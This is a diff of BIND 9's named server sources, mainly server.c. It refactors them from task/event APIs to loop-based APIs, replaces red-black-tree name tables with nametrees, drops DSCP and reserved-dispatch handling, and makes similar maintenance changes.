@@ -626,56 +784,6 @@ mkdirpath(char *filename, void (*report)(const char *, ...)) {
 	return (-1);
 }
 
-#if !HAVE_SYS_CAPABILITY_H
-static void
-setperms(uid_t uid, gid_t gid) {
-#if defined(HAVE_SETEGID) || defined(HAVE_SETRESGID)
-	char strbuf[ISC_STRERRORSIZE];
-#endif /* if defined(HAVE_SETEGID) || defined(HAVE_SETRESGID) */
-#if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID)
-	gid_t oldgid, tmpg;
-#endif /* if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) */
-#if !defined(HAVE_SETEUID) && defined(HAVE_SETRESUID)
-	uid_t olduid, tmpu;
-#endif /* if !defined(HAVE_SETEUID) && defined(HAVE_SETRESUID) */
-#if defined(HAVE_SETEGID)
-	if (getegid() != gid && setegid(gid) == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		named_main_earlywarning("unable to set effective "
-					"gid to %ld: %s",
-					(long)gid, strbuf);
-	}
-#elif defined(HAVE_SETRESGID)
-	if (getresgid(&tmpg, &oldgid, &tmpg) == -1 || oldgid != gid) {
-		if (setresgid(-1, gid, -1) == -1) {
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			named_main_earlywarning("unable to set effective "
-						"gid to %d: %s",
-						gid, strbuf);
-		}
-	}
-#endif /* if defined(HAVE_SETEGID) */
-
-#if defined(HAVE_SETEUID)
-	if (geteuid() != uid && seteuid(uid) == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		named_main_earlywarning("unable to set effective "
-					"uid to %ld: %s",
-					(long)uid, strbuf);
-	}
-#elif defined(HAVE_SETRESUID)
-	if (getresuid(&tmpu, &olduid, &tmpu) == -1 || olduid != uid) {
-		if (setresuid(-1, uid, -1) == -1) {
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			named_main_earlywarning("unable to set effective "
-						"uid to %d: %s",
-						uid, strbuf);
-		}
-	}
-#endif /* if defined(HAVE_SETEUID) */
-}
-#endif /* !HAVE_SYS_CAPABILITY_H */
-
 FILE *
 named_os_openfile(const char *filename, mode_t mode, bool switch_user) {
 	char strbuf[ISC_STRERRORSIZE], *f;
@@ -701,19 +809,17 @@ named_os_openfile(const char *filename, mode_t mode, bool switch_user) {
 	if (switch_user && runas_pw != NULL) {
 		uid_t olduid = getuid();
 		gid_t oldgid = getgid();
-#if HAVE_SYS_CAPABILITY_H
-		REQUIRE(olduid == runas_pw->pw_uid);
-		REQUIRE(oldgid == runas_pw->pw_gid);
-#else /* HAVE_SYS_CAPABILITY_H */
-		/* Set UID/GID to the one we'll be running with eventually */
+
+		/*
+		 * Set UID/GID to the one we'll be running with
+		 * eventually.
+		 */
 		setperms(runas_pw->pw_uid, runas_pw->pw_gid);
-#endif
+
 		fd = safe_open(filename, mode, false);
 
-#if !HAVE_SYS_CAPABILITY_H
 		/* Restore UID/GID to previous uid/gid */
 		setperms(olduid, oldgid);
-#endif
 
 		if (fd == -1) {
 			fd = safe_open(filename, mode, false);
@@ -865,14 +971,6 @@ named_os_shutdown(void) {
 	cleanup_lockfile();
 }
 
-isc_result_t
-named_os_gethostname(char *buf, size_t len) {
-	int n;
-
-	n = gethostname(buf, len);
-	return ((n == 0) ? ISC_R_SUCCESS : ISC_R_FAILURE);
-}
-
 void
 named_os_shutdownmsg(char *command, isc_buffer_t *text) {
 	char *last, *ptr;
diff --git a/bin/named/server.c b/bin/named/server.c
index 3537ae8d5e..287a0b3e50 100644
--- a/bin/named/server.c
+++ b/bin/named/server.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,9 @@
 #include <ctype.h>
 #include <inttypes.h>
 #include <limits.h>
+#include <signal.h>
 #include <stdbool.h>
+#include <stdint.h>
 #include <stdlib.h>
 #include <sys/stat.h>
 #include <sys/types.h>
@@ -24,33 +28,37 @@
 #include <fstrm.h>
 #endif
 
+#ifdef HAVE_LIBSYSTEMD
+#include <systemd/sd-daemon.h>
+#endif
+
 #include <isc/aes.h>
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/attributes.h>
 #include <isc/base64.h>
 #include <isc/commandline.h>
 #include <isc/dir.h>
 #include <isc/file.h>
+#include <isc/fips.h>
 #include <isc/hash.h>
 #include <isc/hex.h>
 #include <isc/hmac.h>
 #include <isc/httpd.h>
+#include <isc/job.h>
 #include <isc/lex.h>
+#include <isc/loop.h>
 #include <isc/meminfo.h>
+#include <isc/netmgr.h>
 #include <isc/nonce.h>
 #include <isc/parseint.h>
-#include <isc/platform.h>
 #include <isc/portset.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
-#include <isc/resource.h>
+#include <isc/result.h>
+#include <isc/signal.h>
 #include <isc/siphash.h>
-#include <isc/socket.h>
-#include <isc/stat.h>
 #include <isc/stats.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/timer.h>
 #include <isc/util.h>
 
@@ -65,7 +73,6 @@
 #include <dns/dnsrps.h>
 #include <dns/dnssec.h>
 #include <dns/dyndb.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/forward.h>
 #include <dns/geoip.h>
@@ -74,9 +81,9 @@
 #include <dns/keymgr.h>
 #include <dns/keytable.h>
 #include <dns/keyvalues.h>
-#include <dns/lib.h>
 #include <dns/master.h>
 #include <dns/masterdump.h>
+#include <dns/nametree.h>
 #include <dns/nsec3.h>
 #include <dns/nta.h>
 #include <dns/order.h>
@@ -102,8 +109,8 @@
 #include <dns/zt.h>
 
 #include <dst/dst.h>
-#include <dst/result.h>
 
+#include <isccfg/check.h>
 #include <isccfg/grammar.h>
 #include <isccfg/kaspconf.h>
 #include <isccfg/namedconf.h>
@@ -113,8 +120,6 @@
 #include <ns/interfacemgr.h>
 #include <ns/listenlist.h>
 
-#include <bind9/check.h>
-
 #include <named/config.h>
 #include <named/control.h>
 #if defined(HAVE_GEOIP2)
@@ -138,11 +143,9 @@
 
 #ifdef HAVE_LMDB
 #include <lmdb.h>
-#define count_newzones	   count_newzones_db
 #define configure_newzones configure_newzones_db
 #define dumpzone	   dumpzone_db
 #else /* HAVE_LMDB */
-#define count_newzones	   count_newzones_file
 #define configure_newzones configure_newzones_file
 #define dumpzone	   dumpzone_file
 #endif /* HAVE_LMDB */
@@ -155,20 +158,6 @@
 #define SIZE_AS_PERCENT ((size_t)-2)
 #endif /* ifndef SIZE_AS_PERCENT */
 
-#ifndef ARRAYSIZE
-#define ARRAYSIZE(x) (sizeof(x) / sizeof(x[0]))
-#endif
-
-#ifdef TUNE_LARGE
-#define RESOLVER_NTASKS_PERCPU 32
-#define UDPBUFFERS	       32768
-#define EXCLBUFFERS	       32768
-#else
-#define RESOLVER_NTASKS_PERCPU 8
-#define UDPBUFFERS	       1000
-#define EXCLBUFFERS	       4096
-#endif /* TUNE_LARGE */
-
 /* RFC7828 defines timeout as 16-bit value specified in units of 100
  * milliseconds, so the maximum and minimum advertised and keepalive
  * timeouts are capped by the data type (it's ~109 minutes)
@@ -226,12 +215,13 @@
 		}                                                              \
 	} while (0)
 
-#define CHECKFATAL(op, msg)                         \
-	do {                                        \
-		result = (op);                      \
-		if (result != ISC_R_SUCCESS)        \
-			fatal(server, msg, result); \
-	} while (0)
+#define CHECKFATAL(op, msg)                    \
+	{                                      \
+		result = (op);                 \
+		if (result != ISC_R_SUCCESS) { \
+			fatal(msg, result);    \
+		}                              \
+	}
 
 /*%
  * Maximum ADB size for views that share a cache.  Use this limit to suppress
@@ -272,7 +262,7 @@ struct dumpcontext {
 	dns_dumpctx_t *mdctx;
 	dns_db_t *db;
 	dns_db_t *cache;
-	isc_task_t *task;
+	isc_loop_t *loop;
 	dns_dbversion_t *version;
 };
 
@@ -322,14 +312,20 @@ typedef struct {
 	named_server_t *server;
 } catz_cb_data_t;
 
-typedef struct catz_chgzone_event {
-	ISC_EVENT_COMMON(struct catz_chgzone_event);
+typedef struct catz_chgzone {
+	isc_mem_t *mctx;
 	dns_catz_entry_t *entry;
 	dns_catz_zone_t *origin;
 	dns_view_t *view;
 	catz_cb_data_t *cbd;
 	bool mod;
-} catz_chgzone_event_t;
+} catz_chgzone_t;
+
+typedef enum {
+	CATZ_ADDZONE,
+	CATZ_MODZONE,
+	CATZ_DELZONE,
+} catz_type_t;
 
 typedef struct {
 	unsigned int magic;
@@ -406,25 +402,29 @@ const char *empty_zones[] = {
 	NULL
 };
 
-ISC_NORETURN static void
-fatal(named_server_t *server, const char *msg, isc_result_t result);
+noreturn static void
+fatal(const char *msg, isc_result_t result);
 
 static void
-named_server_reload(isc_task_t *task, isc_event_t *event);
+named_server_reload(void *arg);
 
+#ifdef HAVE_LIBNGHTTP2
 static isc_result_t
-listenelt_http(const cfg_obj_t *http, bool tls, const char *key,
-	       const char *cert, in_port_t port, isc_mem_t *mctx,
-	       ns_listenelt_t **target);
+listenelt_http(const cfg_obj_t *http, const uint16_t family, bool tls,
+	       const ns_listen_tls_params_t *tls_params,
+	       isc_tlsctx_cache_t *tlsctx_cache, in_port_t port,
+	       isc_mem_t *mctx, ns_listenelt_t **target);
+#endif
 
 static isc_result_t
 listenelt_fromconfig(const cfg_obj_t *listener, const cfg_obj_t *config,
 		     cfg_aclconfctx_t *actx, isc_mem_t *mctx, uint16_t family,
-		     ns_listenelt_t **target);
+		     isc_tlsctx_cache_t *tlsctx_cache, ns_listenelt_t **target);
 
 static isc_result_t
 listenlist_fromconfig(const cfg_obj_t *listenlist, const cfg_obj_t *config,
 		      cfg_aclconfctx_t *actx, isc_mem_t *mctx, uint16_t family,
+		      isc_tlsctx_cache_t *tlsctx_cache,
 		      ns_listenlist_t **target);
 
 static isc_result_t
@@ -438,25 +438,29 @@ configure_alternates(const cfg_obj_t *config, dns_view_t *view,
 
 static isc_result_t
 configure_zone(const cfg_obj_t *config, const cfg_obj_t *zconfig,
-	       const cfg_obj_t *vconfig, isc_mem_t *mctx, dns_view_t *view,
+	       const cfg_obj_t *vconfig, dns_view_t *view,
 	       dns_viewlist_t *viewlist, dns_kasplist_t *kasplist,
 	       cfg_aclconfctx_t *aclconf, bool added, bool old_rpz_ok,
 	       bool modify);
 
+static void
+configure_zone_setviewcommit(isc_result_t result, const cfg_obj_t *zconfig,
+			     dns_view_t *view);
+
 static isc_result_t
 configure_newzones(dns_view_t *view, cfg_obj_t *config, cfg_obj_t *vconfig,
-		   isc_mem_t *mctx, cfg_aclconfctx_t *actx);
+		   cfg_aclconfctx_t *actx);
+
+static const cfg_obj_t *
+find_maplist(const cfg_obj_t *config, const char *listname, const char *name);
 
 static isc_result_t
 add_keydata_zone(dns_view_t *view, const char *directory, isc_mem_t *mctx);
 
-static void
-end_reserved_dispatches(named_server_t *server, bool all);
-
 static void
 newzone_cfgctx_destroy(void **cfgp);
 
-static inline isc_result_t
+static isc_result_t
 putstr(isc_buffer_t **b, const char *str);
 
 static isc_result_t
@@ -465,16 +469,10 @@ putmem(isc_buffer_t **b, const char *str, size_t len);
 static isc_result_t
 putuint8(isc_buffer_t **b, uint8_t val);
 
-static inline isc_result_t
+static isc_result_t
 putnull(isc_buffer_t **b);
 
-static int
-count_zones(const cfg_obj_t *conf);
-
 #ifdef HAVE_LMDB
-static isc_result_t
-migrate_nzf(dns_view_t *view);
-
 static isc_result_t
 nzd_writable(dns_view_t *view);
 
@@ -489,14 +487,14 @@ nzd_env_close(dns_view_t *view);
 
 static isc_result_t
 nzd_close(MDB_txn **txnp, bool commit);
-
-static isc_result_t
-nzd_count(dns_view_t *view, int *countp);
 #else  /* ifdef HAVE_LMDB */
 static isc_result_t
 nzf_append(dns_view_t *view, const cfg_obj_t *zconfig);
 #endif /* ifdef HAVE_LMDB */
 
+static isc_result_t
+load_nzf(dns_view_t *view, ns_cfgctx_t *nzcfg);
+
 /*%
  * Configure a single view ACL at '*aclp'.  Get its configuration from
  * 'vconfig' (for per-view configuration) and maybe from 'config'
@@ -605,21 +603,23 @@ configure_view_sortlist(const cfg_obj_t *vconfig, const cfg_obj_t *config,
 static isc_result_t
 configure_view_nametable(const cfg_obj_t *vconfig, const cfg_obj_t *config,
 			 const char *confname, const char *conftuplename,
-			 isc_mem_t *mctx, dns_rbt_t **rbtp) {
-	isc_result_t result;
+			 isc_mem_t *mctx, dns_nametree_t **ntp) {
+	isc_result_t result = ISC_R_SUCCESS;
 	const cfg_obj_t *maps[3];
 	const cfg_obj_t *obj = NULL;
-	const cfg_listelt_t *element;
+	const cfg_listelt_t *element = NULL;
 	int i = 0;
 	dns_fixedname_t fixed;
-	dns_name_t *name;
+	dns_name_t *name = NULL;
 	isc_buffer_t b;
-	const char *str;
-	const cfg_obj_t *nameobj;
+	const char *str = NULL;
+	const cfg_obj_t *nameobj = NULL;
 
-	if (*rbtp != NULL) {
-		dns_rbt_destroy(rbtp);
+	if (*ntp != NULL) {
+		dns_nametree_detach(ntp);
 	}
+	dns_nametree_create(mctx, DNS_NAMETREE_BOOL, confname, ntp);
+
 	if (vconfig != NULL) {
 		maps[i++] = cfg_tuple_get(vconfig, "options");
 	}
@@ -635,7 +635,7 @@ configure_view_nametable(const cfg_obj_t *vconfig, const cfg_obj_t *config,
 	(void)named_config_get(maps, confname, &obj);
 	if (obj == NULL) {
 		/*
-		 * No value available.	*rbtp == NULL.
+		 * No value available.	*ntp == NULL.
 		 */
 		return (ISC_R_SUCCESS);
 	}
@@ -647,11 +647,6 @@ configure_view_nametable(const cfg_obj_t *vconfig, const cfg_obj_t *config,
 		}
 	}
 
-	result = dns_rbt_create(mctx, NULL, NULL, rbtp);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
 	name = dns_fixedname_initname(&fixed);
 	for (element = cfg_list_first(obj); element != NULL;
 	     element = cfg_list_next(element))
@@ -661,14 +656,7 @@ configure_view_nametable(const cfg_obj_t *vconfig, const cfg_obj_t *config,
 		isc_buffer_constinit(&b, str, strlen(str));
 		isc_buffer_add(&b, strlen(str));
 		CHECK(dns_name_fromtext(name, &b, dns_rootname, 0, NULL));
-		/*
-		 * We don't need the node data, but need to set dummy data to
-		 * avoid a partial match with an empty node.  For example, if
-		 * we have foo.example.com and bar.example.com, we'd get a match
-		 * for baz.example.com, which is not the expected result.
-		 * We simply use (void *)1 as the dummy data.
-		 */
-		result = dns_rbt_addname(*rbtp, name, (void *)1);
+		result = dns_nametree_add(*ntp, name, true);
 		if (result != ISC_R_SUCCESS) {
 			cfg_obj_log(nameobj, named_g_lctx, ISC_LOG_ERROR,
 				    "failed to add %s for %s: %s", str,
@@ -677,10 +665,10 @@ configure_view_nametable(const cfg_obj_t *vconfig, const cfg_obj_t *config,
 		}
 	}
 
-	return (result);
+	return (ISC_R_SUCCESS);
 
 cleanup:
-	dns_rbt_destroy(rbtp);
+	dns_nametree_detach(ntp);
 	return (result);
 }
 
@@ -869,8 +857,7 @@ ta_fromconfig(const cfg_obj_t *key, bool *initialp, const char **namestrp,
 		break;
 
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	return (ISC_R_SUCCESS);
@@ -879,6 +866,13 @@ ta_fromconfig(const cfg_obj_t *key, bool *initialp, const char **namestrp,
 	return (result);
 }
 
+static void
+sfd_add(const dns_name_t *name, void *arg) {
+	if (arg != NULL) {
+		dns_view_sfd_add(arg, name);
+	}
+}
+
 /*%
  * Parse 'key' in the context of view configuration 'vconfig'.  If successful,
  * add the key to 'secroots' if both of the following conditions are true:
@@ -892,8 +886,7 @@ ta_fromconfig(const cfg_obj_t *key, bool *initialp, const char **namestrp,
  */
 static isc_result_t
 process_key(const cfg_obj_t *key, dns_keytable_t *secroots,
-	    const dns_name_t *keyname_match, dns_resolver_t *resolver,
-	    bool managed) {
+	    const dns_name_t *keyname_match, dns_view_t *view, bool managed) {
 	dns_fixedname_t fkeyname;
 	dns_name_t *keyname = NULL;
 	const char *namestr = NULL;
@@ -966,7 +959,8 @@ process_key(const cfg_obj_t *key, dns_keytable_t *secroots,
 	 * its owner name.  If it does not, do not load the key and log a
 	 * warning, but do not prevent further keys from being processed.
 	 */
-	if (!dns_resolver_algorithm_supported(resolver, keyname, ds.algorithm))
+	if (!dns_resolver_algorithm_supported(view->resolver, keyname,
+					      ds.algorithm))
 	{
 		cfg_obj_log(key, named_g_lctx, ISC_LOG_WARNING,
 			    "ignoring %s for '%s': algorithm is disabled",
@@ -983,7 +977,7 @@ process_key(const cfg_obj_t *key, dns_keytable_t *secroots,
 	 * 'managed' and 'initializing' arguments to dns_keytable_add().
 	 */
 	result = dns_keytable_add(secroots, initializing, initializing, keyname,
-				  &ds);
+				  &ds, sfd_add, view);
 
 done:
 	return (result);
@@ -1009,9 +1003,10 @@ load_view_keys(const cfg_obj_t *keys, dns_view_t *view, bool managed,
 		keylist = cfg_listelt_value(elt);
 
 		for (elt2 = cfg_list_first(keylist); elt2 != NULL;
-		     elt2 = cfg_list_next(elt2)) {
+		     elt2 = cfg_list_next(elt2))
+		{
 			CHECK(process_key(cfg_listelt_value(elt2), secroots,
-					  keyname, view->resolver, managed));
+					  keyname, view, managed));
 		}
 	}
 
@@ -1042,7 +1037,7 @@ keyloaded(dns_view_t *view, const dns_name_t *name) {
 	result = dns_keytable_find(secroots, name, &keynode);
 
 	if (keynode != NULL) {
-		dns_keytable_detachkeynode(secroots, &keynode);
+		dns_keynode_detach(&keynode);
 	}
 	if (secroots != NULL) {
 		dns_keytable_detach(&secroots);
@@ -1060,7 +1055,7 @@ keyloaded(dns_view_t *view, const dns_name_t *name) {
 static isc_result_t
 configure_view_dnsseckeys(dns_view_t *view, const cfg_obj_t *vconfig,
 			  const cfg_obj_t *config, const cfg_obj_t *bindkeys,
-			  bool auto_root, isc_mem_t *mctx) {
+			  bool auto_root) {
 	isc_result_t result = ISC_R_SUCCESS;
 	const cfg_obj_t *view_keys = NULL;
 	const cfg_obj_t *global_keys = NULL;
@@ -1077,7 +1072,8 @@ configure_view_dnsseckeys(dns_view_t *view, const cfg_obj_t *vconfig,
 
 	/* We don't need trust anchors for the _bind view */
 	if (strcmp(view->name, "_bind") == 0 &&
-	    view->rdclass == dns_rdataclass_chaos) {
+	    view->rdclass == dns_rdataclass_chaos)
+	{
 		return (ISC_R_SUCCESS);
 	}
 
@@ -1113,21 +1109,8 @@ configure_view_dnsseckeys(dns_view_t *view, const cfg_obj_t *vconfig,
 	maps[i++] = named_g_defaults;
 	maps[i] = NULL;
 
-	result = dns_view_initsecroots(view, mctx);
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-			      "couldn't create keytable");
-		return (ISC_R_UNEXPECTED);
-	}
-
-	result = dns_view_initntatable(view, named_g_taskmgr, named_g_timermgr);
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_ERROR,
-			      "couldn't create NTA table");
-		return (ISC_R_UNEXPECTED);
-	}
+	dns_view_initsecroots(view);
+	dns_view_initntatable(view, named_g_loopmgr);
 
 	if (auto_root && view->rdclass == dns_rdataclass_in) {
 		const cfg_obj_t *builtin_keys = NULL;
@@ -1217,7 +1200,9 @@ configure_view_dnsseckeys(dns_view_t *view, const cfg_obj_t *vconfig,
 		}
 	}
 
-	CHECK(add_keydata_zone(view, directory, named_g_mctx));
+	if (auto_root) {
+		CHECK(add_keydata_zone(view, directory, named_g_mctx));
+	}
 
 cleanup:
 	return (result);
@@ -1258,15 +1243,11 @@ mustbesecure(const cfg_obj_t *mbs, dns_resolver_t *resolver) {
  */
 static isc_result_t
 get_view_querysource_dispatch(const cfg_obj_t **maps, int af,
-			      dns_dispatch_t **dispatchp, isc_dscp_t *dscpp,
-			      bool is_firstview) {
+			      dns_dispatch_t **dispatchp, bool is_firstview) {
 	isc_result_t result = ISC_R_FAILURE;
-	dns_dispatch_t *disp;
+	dns_dispatch_t *disp = NULL;
 	isc_sockaddr_t sa;
-	unsigned int attrs, attrmask;
 	const cfg_obj_t *obj = NULL;
-	unsigned int maxdispatchbuffers = UDPBUFFERS;
-	isc_dscp_t dscp = -1;
 
 	switch (af) {
 	case AF_INET:
@@ -1278,18 +1259,12 @@ get_view_querysource_dispatch(const cfg_obj_t **maps, int af,
 		INSIST(result == ISC_R_SUCCESS);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	sa = *(cfg_obj_assockaddr(obj));
 	INSIST(isc_sockaddr_pf(&sa) == af);
 
-	dscp = cfg_obj_getdscp(obj);
-	if (dscp != -1 && dscpp != NULL) {
-		*dscpp = dscp;
-	}
-
 	/*
 	 * If we don't support this address family, we're done!
 	 */
@@ -1301,8 +1276,7 @@ get_view_querysource_dispatch(const cfg_obj_t **maps, int af,
 		result = isc_net_probeipv6();
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	if (result != ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
@@ -1311,20 +1285,7 @@ get_view_querysource_dispatch(const cfg_obj_t **maps, int af,
 	/*
 	 * Try to find a dispatcher that we can share.
 	 */
-	attrs = 0;
-	attrs |= DNS_DISPATCHATTR_UDP;
-	switch (af) {
-	case AF_INET:
-		attrs |= DNS_DISPATCHATTR_IPV4;
-		break;
-	case AF_INET6:
-		attrs |= DNS_DISPATCHATTR_IPV6;
-		break;
-	}
-	if (isc_sockaddr_getport(&sa) == 0) {
-		attrs |= DNS_DISPATCHATTR_EXCLUSIVE;
-		maxdispatchbuffers = EXCLBUFFERS;
-	} else {
+	if (isc_sockaddr_getport(&sa) != 0) {
 		INSIST(obj != NULL);
 		if (is_firstview) {
 			cfg_obj_log(obj, named_g_lctx, ISC_LOG_INFO,
@@ -1334,18 +1295,7 @@ get_view_querysource_dispatch(const cfg_obj_t **maps, int af,
 		}
 	}
 
-	attrmask = 0;
-	attrmask |= DNS_DISPATCHATTR_UDP;
-	attrmask |= DNS_DISPATCHATTR_TCP;
-	attrmask |= DNS_DISPATCHATTR_IPV4;
-	attrmask |= DNS_DISPATCHATTR_IPV6;
-
-	disp = NULL;
-	result = dns_dispatch_getudp(named_g_dispatchmgr, named_g_socketmgr,
-				     // OQS updated from 4096 to 8192
-				     named_g_taskmgr, &sa, 8192,
-				     maxdispatchbuffers, 32768, 16411, 16433,
-				     attrs, attrmask, &disp);
+	result = dns_dispatch_createudp(named_g_dispatchmgr, &sa, &disp);
 	if (result != ISC_R_SUCCESS) {
 		isc_sockaddr_t any;
 		char buf[ISC_SOCKADDR_FORMATSIZE];
@@ -1430,8 +1380,7 @@ configure_order(dns_order_t *order, const cfg_obj_t *ent) {
 	} else if (!strcasecmp(str, "none")) {
 		mode = DNS_RDATASETATTR_NONE;
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	/*
@@ -1504,6 +1453,12 @@ configure_peer(const cfg_obj_t *cpeer, isc_mem_t *mctx, dns_peer_t **peerp) {
 		CHECK(dns_peer_setsendcookie(peer, cfg_obj_asboolean(obj)));
 	}
 
+	obj = NULL;
+	(void)cfg_map_get(cpeer, "require-cookie", &obj);
+	if (obj != NULL) {
+		CHECK(dns_peer_setrequirecookie(peer, cfg_obj_asboolean(obj)));
+	}
+
 	obj = NULL;
 	(void)cfg_map_get(cpeer, "edns", &obj);
 	if (obj != NULL) {
@@ -1589,8 +1544,7 @@ configure_peer(const cfg_obj_t *cpeer, isc_mem_t *mctx, dns_peer_t **peerp) {
 		} else if (strcasecmp(str, "one-answer") == 0) {
 			CHECK(dns_peer_settransferformat(peer, dns_one_answer));
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -1615,12 +1569,6 @@ configure_peer(const cfg_obj_t *cpeer, isc_mem_t *mctx, dns_peer_t **peerp) {
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
-		result = dns_peer_settransferdscp(peer, cfg_obj_getdscp(obj));
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
 	}
 
 	obj = NULL;
@@ -1635,12 +1583,6 @@ configure_peer(const cfg_obj_t *cpeer, isc_mem_t *mctx, dns_peer_t **peerp) {
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
-		result = dns_peer_setnotifydscp(peer, cfg_obj_getdscp(obj));
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
 	}
 
 	obj = NULL;
@@ -1654,12 +1596,6 @@ configure_peer(const cfg_obj_t *cpeer, isc_mem_t *mctx, dns_peer_t **peerp) {
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
-		result = dns_peer_setquerydscp(peer, cfg_obj_getdscp(obj));
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
-		named_add_reserved_dispatch(named_g_server,
-					    cfg_obj_assockaddr(obj));
 	}
 
 	*peerp = peer;
@@ -1720,7 +1656,7 @@ disable_algorithms(const cfg_obj_t *disabled, dns_resolver_t *resolver) {
 		isc_textregion_t r;
 		dns_secalg_t alg;
 
-		DE_CONST(cfg_obj_asstring(cfg_listelt_value(element)), r.base);
+		r.base = UNCONST(cfg_obj_asstring(cfg_listelt_value(element)));
 		r.length = strlen(r.base);
 
 		result = dns_secalg_fromtext(&alg, &r);
@@ -1763,7 +1699,7 @@ disable_ds_digests(const cfg_obj_t *disabled, dns_resolver_t *resolver) {
 		isc_textregion_t r;
 		dns_dsdigest_t digest;
 
-		DE_CONST(cfg_obj_asstring(cfg_listelt_value(element)), r.base);
+		r.base = UNCONST(cfg_obj_asstring(cfg_listelt_value(element)));
 		r.length = strlen(r.base);
 
 		/* disable_ds_digests handles numeric values. */
@@ -1822,10 +1758,6 @@ check_dbtype(dns_zone_t *zone, unsigned int dbtypec, const char **dbargv,
 	for (i = 0; i < dbtypec; i++) {
 		if (argv[i] == NULL || strcmp(argv[i], dbargv[i]) != 0) {
 			CHECK(ISC_R_FAILURE);
-
-			/*
-			 * Check that there are not extra arguments.
-			 */
 		}
 	}
 
@@ -1841,27 +1773,20 @@ check_dbtype(dns_zone_t *zone, unsigned int dbtypec, const char **dbargv,
 	return (result);
 }
 
-static isc_result_t
+static void
 setquerystats(dns_zone_t *zone, isc_mem_t *mctx, dns_zonestat_level_t level) {
-	isc_result_t result;
 	isc_stats_t *zoneqrystats;
 
 	dns_zone_setstatlevel(zone, level);
 
 	zoneqrystats = NULL;
 	if (level == dns_zonestat_full) {
-		result = isc_stats_create(mctx, &zoneqrystats,
-					  ns_statscounter_max);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
+		isc_stats_create(mctx, &zoneqrystats, ns_statscounter_max);
 	}
 	dns_zone_setrequeststats(zone, zoneqrystats);
 	if (zoneqrystats != NULL) {
 		isc_stats_detach(&zoneqrystats);
 	}
-
-	return (ISC_R_SUCCESS);
 }
 
 static named_cache_t *
@@ -1995,12 +1920,12 @@ dns64_reverse(dns_view_t *view, isc_mem_t *mctx, isc_netaddr_t *na,
 	isc_buffer_constinit(&b, reverse, strlen(reverse));
 	isc_buffer_add(&b, strlen(reverse));
 	CHECK(dns_name_fromtext(name, &b, dns_rootname, 0, NULL));
-	CHECK(dns_zone_create(&zone, mctx));
+	dns_zone_create(&zone, mctx, 0);
 	CHECK(dns_zone_setorigin(zone, name));
 	dns_zone_setview(zone, view);
 	CHECK(dns_zonemgr_managezone(named_g_server->zonemgr, zone));
 	dns_zone_setclass(zone, view->rdclass);
-	dns_zone_settype(zone, dns_zone_master);
+	dns_zone_settype(zone, dns_zone_primary);
 	dns_zone_setstats(zone, named_g_server->zonestats);
 	dns_zone_setdbtype(zone, dns64_dbtypec, dns64_dbtype);
 	if (view->queryacl != NULL) {
@@ -2010,9 +1935,10 @@ dns64_reverse(dns_view_t *view, isc_mem_t *mctx, isc_netaddr_t *na,
 		dns_zone_setqueryonacl(zone, view->queryonacl);
 	}
 	dns_zone_setdialup(zone, dns_dialuptype_no);
+	dns_zone_setcheckdstype(zone, dns_checkdstype_no);
 	dns_zone_setnotifytype(zone, dns_notifytype_no);
 	dns_zone_setoption(zone, DNS_ZONEOPT_NOCHECKNS, true);
-	CHECK(setquerystats(zone, mctx, dns_zonestat_none)); /* XXXMPA */
+	setquerystats(zone, mctx, dns_zonestat_none);
 	CHECK(dns_view_addzone(view, zone));
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
@@ -2076,7 +2002,7 @@ conf_dnsrps_sadd(conf_dnsrps_ctx_t *ctx, const char *p, ...) {
 }
 
 /*
- * Get an DNSRPS configuration value using the global and view options
+ * Get a DNSRPS configuration value using the global and view options
  * for the default.  Return false upon failure.
  */
 static bool
@@ -2092,7 +2018,8 @@ conf_dnsrps_get(const cfg_obj_t **sub_obj, const cfg_obj_t **maps,
 	if (cfg_obj_isvoid(*sub_obj)) {
 		*sub_obj = NULL;
 		if (maps != NULL &&
-		    ISC_R_SUCCESS != named_config_get(maps, name, sub_obj)) {
+		    ISC_R_SUCCESS != named_config_get(maps, name, sub_obj))
+		{
